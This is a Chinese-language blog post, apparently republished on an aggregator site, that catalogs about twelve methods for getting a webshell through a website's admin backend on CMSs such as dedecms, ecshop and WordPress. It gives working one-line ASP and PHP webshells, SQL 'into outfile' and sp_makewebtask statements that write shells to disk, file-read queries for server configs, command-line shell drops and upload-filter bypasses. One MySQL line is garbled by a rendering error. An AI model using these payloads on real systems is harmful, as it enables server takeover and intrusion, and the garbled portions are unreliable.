您的位置:首页 > 运维架构 > Shell

网站后台getshell的方法总结

2019-07-12 19:27 465 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/qq_32108547/article/details/95650478

方法一:直接上传getshell

以dedecms为例,后台可以直接上传脚本文件,从而getshell,具体方法如下:

即可成功上传大马,并成功执行,从而拿下webshell。
坑:通常由于权限限制,导致只有该目录权限,无法进入其他目录,此时便可以采用…/跳转到根目录,或者其他目录,此时所采用的方法是如下的文件改名

方法二:数据库备份getshell

以南方数据cms为例:
1,首先上传一张图片马上去,并且获取图片马的路径
2,在系统管理处选择数据库备份,进行数据库备份getshell,具体操作方法如下:

然后使用菜刀连接即可成功getshell。
当所备份的数据库来源无法修改时,我们可以通过首先将一句话木马写入数据库,比如通过新建管理员用户,将用户名用一句话木马代替(用户名通常有长度限制,在前端修改maxlength即可)
<%eval request ("pass")%>
然后再通过备份数据库getshell。

方法三:修改网站上传类型配置拿webshell

有的网站在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型,如添加asp|php|jsp|aspx|asa|cer等来拿webshell。

方法四:利用文件解析漏洞来拿webshell

记录在了这篇博客上面:https://www.geek-share.com/detail/2759570120.html

方法五:网站配置插马拿webshell:

注:asp中单引号表示单行注释作用
“%&gt;&lt;%eval request(&quot;v01cano&quot;)%&gt;&lt;%'

一般先试试看该选项是否可以更改,如果可以更改,则插马试试,因为插马可能导致系统崩溃,所以一般需要首先需要本地搭建环境进行测试。

方法六:通过编辑器模板拿webshell

1,通过对网站的模板进行编辑写入一句话,然后生成脚本文件拿webshell。比如ecshop
2,通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿webshell。

方法七:通过添加插件getshell

即利用网站管理员的添加插件功能getshell,将大马添加到插件的压缩包中,然后上传,从而getshell。比如wordpress,dz等等。

方法八:执行sql语句写入webshell

通过sql语句写入shell,首先执行错误的sql语句,使其暴露出网站的根目录:

select &quot;&lt;?php phpinfo();?&gt;&quot; into outfile &quot;C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php&quot;;

关于此语句说明,在windows中有时候需要使用斜杠/有时候需要使用双反斜杠\末尾有时候需要分号,有时候也不需要分号。
以ecshop为例:

也可以先将一句话通过新建管理员写入到user表中,然后通过数据库备份配合解析漏洞拿shell。

方法九:通过数据库拿webshell

我们可以通过数据库执行命令导出一句话到网站根目录拿shell
access数据库导出一般需要利用解析漏洞xx.asp;.xml
sqlserver导出:
exec sp_makewebtask ‘C:\test1.php’,’ select ‘’<%eval request(“pass”)%>’’ ‘–
mysql命令导出getshell:
方法1
Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES(’<?php eval(KaTeX parse error: Expected 'EOF', got '&' at position 17: …POST[xiaoma]);?&̲gt;'); select …_POST[v01cano]);?>" into outfile ‘D:/phpstudy/www/a.php’
方法3:方法1和方法2都是在网站根目录路径已知的时候写入shell,当数据库路径未知时,可以通过如下方法读取数据库路径:网站的根目录一般在网站配置文件httpd.conf中,而此目录的路径一般不变,一般在/apache/conf/httpd.conf中,(在phpmyadmin中的时候,我们可以选择变量选项观察其路径,进而推测httpd.conf的路径),在已知该文件路径的条件下,我们可以通过如下方法读取该文件中的内容:
//创建表a,并且将httpd.conf写入到表a中。
create table a(a text);load data infile “C:/phpStudy/Apache/conf/httpd.conf” into table a;
然后执行导出操作,将该文件下载,使用notepad++打开,最后搜索documentroot,即可找到网站的根目录:

httpd.conf文件可能存在的一些路径:
linux中可能存在路径:

apache
/usr/local/mysql
/user/local/apache/conf/httpd.conf
/user/local/httpd/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/user/local/apache2/conf/httpd.conf

Nginx:

/user/local/nginx/conf/httpd.conf
方法四:直接通过load_file函数直接加载该文件内容
select load_file(‘C:/phpStudy/Apache/conf/httpd.conf’);
但是需要在选项中进行如下配置才会显示出来:

方法n:还有通过日志拿shell的多种方式,已经记录在博客:
https://www.geek-share.com/detail/2758891460.html
方法十:通过文件包含拿webshell
先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可以绕过waf拿webshell。
常用的文件包含方法如下:
asp包含:
1,<!–#include file="123.jpg"–>
2,调用的文件必须和被调用的文件在同一目录,否则找不到
3,如果不在同一目录,用下面语句也可以:
<!–#include virtual="文件所在目录/123.jpg"–>

php包含:
<?php
Include(‘123.jpg’);
?>
方法十一:命令执行拿webshell
Echo &lt;?php @eval($_POST[v01cano]);?&gt; >c:\1.php

&lt;%eval request("cracer")%&gt; >c:\1.php
十二:没有进入后台如下拿webshell
0day拿webshell
IIS写权限拿webshell(put一个shell进去)
命令执行拿webshell
通过注入漏洞拿webshell
前台图片上传拿webshell
Strusts2拿webshell
java反序列拿shell

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: